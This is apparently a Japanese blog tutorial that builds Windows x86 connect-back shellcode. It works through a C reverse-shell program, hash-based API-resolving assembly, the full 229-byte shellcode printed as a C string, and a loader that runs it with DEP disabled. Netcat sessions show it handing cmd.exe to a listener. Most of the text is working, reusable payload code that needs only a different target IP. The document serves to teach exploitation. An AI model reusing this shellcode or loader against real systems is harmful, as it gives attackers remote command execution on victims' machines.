Windowsでconnect-backシェルコードを書いてみる

「Windowsで電卓を起動するシェルコードを書いてみる」ではPEBからライブラリ関数のアドレスを特定し、WinExec関数を使って電卓を起動するシェルコードを書いた。 ここでは、プログラムがWinsockを利用していることを前提に、connect-back shellを起動するシェルコードを書いてみる。

環境

Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4

>systeminfo
OS 名:                  Microsoft Windows 8.1 Pro
OS バージョン:          6.3.9600 N/A ビルド 9600
OS ビルドの種類:        Multiprocessor Free
システムの種類:         x64-based PC
プロセッサ:             1 プロセッサインストール済みです。
                        [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~1596 Mhz

>cl
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86

>ml
Microsoft (R) Macro Assembler Version 12.00.31101.0

>dumpbin
Microsoft (R) COFF/PE Dumper Version 12.00.31101.0

C言語で書いてみる

C言語でconnect-back shellを起動するプログラムを書くと次のようになる。

/* connectback.c */
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")

int main()
{
    WSADATA wsaData;
    SOCKET s;
    SOCKADDR_IN name;
    STARTUPINFO s_info = {0};
    PROCESS_INFORMATION p_info;

    WSAStartup(MAKEWORD(2, 2), &wsaData);

    s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);

    name.sin_family = AF_INET;
    name.sin_addr.s_addr = inet_addr("127.0.0.1");
    name.sin_port = htons(4444);
    connect(s, (SOCKADDR *)&name, sizeof(name));

    s_info.cb = sizeof(s_info);
    s_info.hStdInput = (HANDLE)s;
    s_info.hStdOutput = (HANDLE)s;
    s_info.hStdError = (HANDLE)s;
    s_info.dwFlags = STARTF_USESTDHANDLES;
    CreateProcess(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, &s_info, &p_info);

    ExitProcess(0);
}

connectなどWinsockの各種関数はws2_32.dllにて実装されているため、上のコードではまずws2_32.libとリンクするようにpragmaコメントを指定している。 コードの内容を簡単にまとめると次のようになる。

  1. WSAStartup関数でWinsockの初期化を行う
  2. WSASocket関数でTCPソケットを生成する
  3. connect関数でlocalhostの4444番ポートに接続する
  4. CreateProcess関数でソケットを標準入出力としたコマンドプロンプトを起動する

CreateProcess関数は次のような引数を取る関数である。

BOOL WINAPI CreateProcess(
  _In_opt_     LPCTSTR lpApplicationName,
  _Inout_opt_  LPTSTR lpCommandLine,
  _In_opt_     LPSECURITY_ATTRIBUTES lpProcessAttributes,
  _In_opt_     LPSECURITY_ATTRIBUTES lpThreadAttributes,
  _In_         BOOL bInheritHandles,
  _In_         DWORD dwCreationFlags,
  _In_opt_     LPVOID lpEnvironment,
  _In_opt_     LPCTSTR lpCurrentDirectory,
  _In_         LPSTARTUPINFO lpStartupInfo,
  _Out_        LPPROCESS_INFORMATION lpProcessInformation
);

ソケットを標準入出力にする上では、bInheritHandlesにTRUEを指定した上でlpStartupInfoに適切な値を格納したLPSTARTUPINFO構造体を指定する必要がある。 具体的には、構造体のdwFlagsメンバでSTARTF_USESTDHANDLESフラグを立てた上で、hStdInputhStdOutputhStdErrorメンバのそれぞれにハンドルとしてソケットを指定する。 また、起動されるプロセスの情報が格納される領域としてPROCESS_INFORMATION構造体の領域を確保し、lpProcessInformationにそのポインタを指定する必要がある。

localhostTCP 4444番ポートで接続を待ち受けておいた上で、コードをコンパイルして実行してみる。

>cl connectback.c
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.

connectback.c
Microsoft (R) Incremental Linker Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:connectback.exe
connectback.obj

>connectback.exe
>powershell -executionpolicy remotesigned -c ".\nc -v -l 4444"
詳細: Listening on [0.0.0.0] (family 0, port 4444)
詳細: Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport
60684)
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

>whoami
whoami
vm-windows8\user

>exit
exit

接続が行われ、リモートからコマンドプロンプトが操作できることが確認できる。

シェルコードを書いてみる

「Windowsで電卓を起動するシェルコードを書いてみる」で利用したhashcalc.exeおよびapi_callルーチンを用いて、シェルコードを書くと次のようになる。

; connectback.asm
.386
.model flat, stdcall
.code

start:
    cld
    jmp main

api_call:
    assume fs:nothing
    pushad
    xor eax, eax
    mov eax, fs:[eax+30h]   ; PEB
    mov eax, [eax+0ch]      ; Ldr
    mov esi, [eax+14h]      ; InMemoryOrderModuleList
next_mod:
    lodsd                   ; next _LDR_DATA_TABLE_ENTRY
    mov [esp+1ch], eax      ; store eax
    mov ebp, [eax+10h]      ; DllBase
    mov eax, [ebp+3ch]      ; IMAGE_DOS_HEADER.e_lfanew
    mov edx, [ebp+eax+78h]  ; IMAGE_EXPORT_DIRECTORY
    add edx, ebp
    mov ecx, [edx+18h]      ; NumberOfNames
    mov ebx, [edx+20h]      ; AddressOfNames
    add ebx, ebp
next_name:                  ; while (--NumberOfNames)
    jecxz name_not_found
    dec ecx
    mov esi, [ebx+ecx*4]    ; ptr = AddressOfNames[NumberOfNames]
    add esi, ebp
    xor edi, edi            ; hash = 0
    xor eax, eax
compute_hash_loop:          ; while ((c = *(ptr++)) != 0)
    lodsb
    test al, al
    jz compare_hash
    ror edi, 0dh            ; hash += ror(c, 0x0d)
    add edi, eax
    jmp compute_hash_loop
compare_hash:
    cmp edi, [esp+24h]      ; 1st argument (hash value)
    jnz next_name
    mov ebx, [edx+24h]      ; AddressOfNameOrdinals
    add ebx, ebp
    mov cx, [ebx+ecx*2]     ; y = AddressOfNameOrdinals[x]
    mov ebx, [edx+1ch]      ; AddressOfFunctions
    add ebx, ebp
    mov eax, [ebx+ecx*4]    ; AddressOfFunctions[y]
    add eax, ebp
    mov [esp+1ch], eax      ; store eax
    popad
    pop ecx
    pop edx
    push ecx
    jmp eax                 ; jump to api function
name_not_found:
    mov esi, [esp+1ch]      ; update eax
    jmp next_mod

main:
    xor ebx, ebx
    push ebx
    push ebx
    push ebx
    push ebx
    push 1
    push 2
    push 0adf509d9h         ; WSASocketA
    call api_call

    xchg esi, eax
    push 1010107fh          ; 127.1.1.1
    pushw 5c11h             ; 4444
    pushw 2
    mov edi, esp
    push 10h
    push edi
    push esi
    push 60aaf9ech          ; connect
    call api_call

    push 44h                ; STARTUPINFO
    pop ecx
    sub esp, ecx
    mov edi, esp
    push edi
    xor eax, eax
    rep stosb
    pop edi
    mov byte ptr [edi], 44h
    inc byte ptr [edi+2dh]
    push edi
    xchg esi, eax
    lea edi, [edi+38h]
    stosd
    stosd
    stosd
    pop edi
    lea esi, [edi+44h]      ; PROCESS_INFORMATION

    mov eax, 646d6301h      ; "cmd"
    sar eax, 8
    push eax
    mov eax, esp

    push esi
    push edi
    push ebx
    push ebx
    push ebx
    push 1
    push ebx
    push ebx
    push eax
    push ebx
    push 16b3fe72h          ; CreateProcessA
    call api_call

    push ebx
    push 73e2d87eh          ; ExitProcess
    call api_call

end start

上のコードでは、あらかじめws2_32.dllのロードおよびWSAStartup関数の実行がすでに行われていることを前提に、これらを行う処理を省略している。 また、NUL文字除去のため接続先アドレスとして127.0.0.1の代わりに127.1.1.1を指定している。 loopbackアドレスの場合はこれで十分であるが、それ以外のIPアドレスについてNUL文字が含まれる場合xorなど何らかの対応を行う必要がある。

コードをアセンブルしてみる。

>ml connectback.asm /link /subsystem:console
Microsoft (R) Macro Assembler Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.

 Assembling: connectback.asm
Microsoft (R) Incremental Linker Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/OUT:connectback.exe
connectback.obj
/subsystem:console

ディスアセンブルして対応するバイト列を表示し、これをC文字列に変換してみる。

>dumpbin /rawdata connectback.exe
Microsoft (R) COFF/PE Dumper Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file connectback.exe

File Type: EXECUTABLE IMAGE

RAW DATA #1
  00401000: FC EB 67 60 33 C0 64 8B 40 30 8B 40 0C 8B 70 14  üëg`3Àd.@0.@..p.
  00401010: AD 89 44 24 1C 8B 68 10 8B 45 3C 8B 54 28 78 03  ­.D$..h..E<.T(x.
  00401020: D5 8B 4A 18 8B 5A 20 03 DD E3 39 49 8B 34 8B 03  Õ.J..Z .Ýã9I.4..
  00401030: F5 33 FF 33 C0 AC 84 C0 74 07 C1 CF 0D 03 F8 EB  õ3ÿ3À¬.Àt.ÁÏ..øë
  00401040: F4 3B 7C 24 24 75 E2 8B 5A 24 03 DD 66 8B 0C 4B  ô;|$$uâ.Z$.Ýf..K
  00401050: 8B 5A 1C 03 DD 8B 04 8B 03 C5 89 44 24 1C 61 59  .Z..Ý....Å.D$.aY
  00401060: 5A 51 FF E0 8B 74 24 1C EB A6 33 DB 53 53 53 53  ZQÿà.t$.ë¦3ÛSSSS
  00401070: 6A 01 6A 02 68 D9 09 F5 AD E8 85 FF FF FF 96 68  j.j.hÙ.õ­è.ÿÿÿ.h
  00401080: 7F 10 10 10 66 68 11 5C 66 6A 02 8B FC 6A 10 57  ....fh.\fj..üj.W
  00401090: 56 68 EC F9 AA 60 E8 68 FF FF FF 6A 44 59 2B E1  Vhìùª`èhÿÿÿjDY+á
  004010A0: 8B FC 57 33 C0 F3 AA 5F C6 07 44 FE 47 2D 57 96  .üW3Àóª_Æ.DþG-W.
  004010B0: 8D 7F 38 AB AB AB 5F 8D 77 44 B8 01 63 6D 64 C1  ..8«««_.wD¸.cmdÁ
  004010C0: F8 08 50 8B C4 56 57 53 53 53 6A 01 53 53 50 53  ø.P.ÄVWSSSj.SSPS
  004010D0: 68 72 FE B3 16 E8 29 FF FF FF 53 68 7E D8 E2 73  hrþ³.è)ÿÿÿSh~Øâs
  004010E0: E8 1E FF FF FF                                   è.ÿÿÿ

  Summary

        1000 .text

>dumpbin /rawdata connectback.exe | powershell -ex remotesigned -f getsc.ps1
\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x53\x53\x53\x6A\x01\x6A\x02\x68\xD9\x09\xF5\xAD\xE8\x85\xFF\xFF\xFF\x96\x68\x7F\x10\x10\x10\x66\x68\x11\x5C\x66\x6A\x02\x8B\xFC\x6A\x10\x57\x56\x68\xEC\xF9\xAA\x60\xE8\x68\xFF\xFF\xFF\x6A\x44\x59\x2B\xE1\x8B\xFC\x57\x33\xC0\xF3\xAA\x5F\xC6\x07\x44\xFE\x47\x2D\x57\x96\x8D\x7F\x38\xAB\xAB\xAB\x5F\x8D\x77\x44\xB8\x01\x63\x6D\x64\xC1\xF8\x08\x50\x8B\xC4\x56\x57\x53\x53\x53\x6A\x01\x53\x53\x50\x53\x68\x72\xFE\xB3\x16\xE8\x29\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x1E\xFF\xFF\xFF

シェルコードを実行してみる

WSAStartup関数を実行した上で、上のバイト列にジャンプするC言語コードを書いてみると次のようになる。

/* loader.c */
#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32")

int main()
{
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2, 2), &wsaData);

    char code[] = "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x53\x53\x53\x6A\x01\x6A\x02\x68\xD9\x09\xF5\xAD\xE8\x85\xFF\xFF\xFF\x96\x68\x7F\x10\x10\x10\x66\x68\x11\x5C\x66\x6A\x02\x8B\xFC\x6A\x10\x57\x56\x68\xEC\xF9\xAA\x60\xE8\x68\xFF\xFF\xFF\x6A\x44\x59\x2B\xE1\x8B\xFC\x57\x33\xC0\xF3\xAA\x5F\xC6\x07\x44\xFE\x47\x2D\x57\x96\x8D\x7F\x38\xAB\xAB\xAB\x5F\x8D\x77\x44\xB8\x01\x63\x6D\x64\xC1\xF8\x08\x50\x8B\xC4\x56\x57\x53\x53\x53\x6A\x01\x53\x53\x50\x53\x68\x72\xFE\xB3\x16\xE8\x29\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x1E\xFF\xFF\xFF";
    printf("strlen(code) = %d\n", strlen(code));
    (*(void (*)())code)();
    return 0;
}

localhostTCP 4444番ポートで接続を待ち受けておいた上で、DEP無効でコンパイルして実行してみる。

>cl loader.c /link /nxcompat:no
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.

loader.c
Microsoft (R) Incremental Linker Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:loader.exe
/nxcompat:no
loader.obj

>loader.exe
strlen(code) = 229
>powershell -executionpolicy remotesigned -c ".\nc -v -l 4444"
詳細: Listening on [0.0.0.0] (family 0, port 4444)
詳細: Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 53174)
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

>whoami
whoami
vm-windows8\user

>exit
exit

シェルコードの実行により接続が行われ、リモートからコマンドプロンプトが操作できることが確認できた。 このシェルコードの長さは229バイトである。

関連リンク